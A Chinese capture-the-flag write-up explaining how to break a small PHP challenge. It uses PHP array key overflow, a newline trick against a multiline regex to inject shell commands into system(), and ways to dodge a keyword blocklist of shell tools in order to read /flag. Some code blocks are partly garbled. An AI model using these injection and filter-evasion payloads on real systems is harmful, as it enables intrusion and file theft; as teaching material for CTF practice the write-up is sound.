Writeup

题目代码量还是比较少的,而且为了方便大家调试,也是给到了php的版本号。

  1. <?php
  2. //php5.5.9
  3. $stuff = $_POST["stuff"];
  4. $array = ['admin', 'user'];
  5. if($stuff === $array && $stuff[0] != 'admin') {
  6. $num= $_POST["num"];
  7. if (preg_match("/^\d+$/im",$num)){
  8. if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
  9. echo "my favorite num is:";
  10. system("echo ".$num);
  11. }else{
  12. echo 'Bonjour!';
  13. }
  14. }
  15. } else {
  16. highlight_file(__FILE__);
  17. }

可以很清楚看到,基本就三个验证需要绕过

  1. 数组比较
  2. 第一次正则绕过
  3. 第二次正则绕过

数组比较

先来看第一个,要求我们传入的数组和$array相等,并且此时用的是强等于。其次要求数组的第0位不等于admin。但在强等的条件下,第0位又必须等于admin。此时的bypass方案是,数组key溢出,此时构造4294967296即为0。
故如下payload绕过第一重验证

 stuff[4294967296]=admin&stuff[1]=user

第一次正则绕过

接下来,来看第一次正则,其实这个正则,乍一看,感觉很严格。通过^与$限制了首尾,并且中间只允许\d,也就是数字。

preg_match("/^\d+$/im",$num)

这里的问题,出现在后面指令m身上,指令m表示允许匹配多行。假设我们传入两行数据

123444
helloworld

此时他会先对第一行进行匹配,再对第二行进行匹配。可以看到我们这里因为第一行为数字,所以肯定正确匹配。我们构造如下payload即可。

num=123333%0a ls

可以看到有正常执行后的返回结果。
image.png

第二次正则绕过

紧接着就是最后一步,这行正则的意思是, 不能出现如下字符。

!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)

可以看到,基本能用的都没了。
在这里给大家展示几种方法

  • 方法一:使用inode

    # 列出当前文件列表,取出inode
    ls -i /
    # 通过find找到对应inode的文件,并通过tac进行读取
    tac `find / -inum 3673632`
    

    image.png

  • 方法二: 使用printf将命令写入文件后执行 ``bash printf /fla > /tmp/hello printf g >> /tmp/hello tactac /tmp/hello`

printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac tac /tmp/hello

![image.png](https://cdn.nlark.com/yuque/0/2020/png/231539/1603682313639-15a8e7fb-538a-4555-94e4-d8fef4bfec1a.png#align=left&display=inline&height=381&margin=%5Bobject%20Object%5D&name=image.png&originHeight=762&originWidth=3026&size=204749&status=done&style=none&width=1513)

- 方法三:设置环境变量,拼接后执行
```bash
a=f;d=ag;c=l;tac /$a$c$d

image.png

参考资料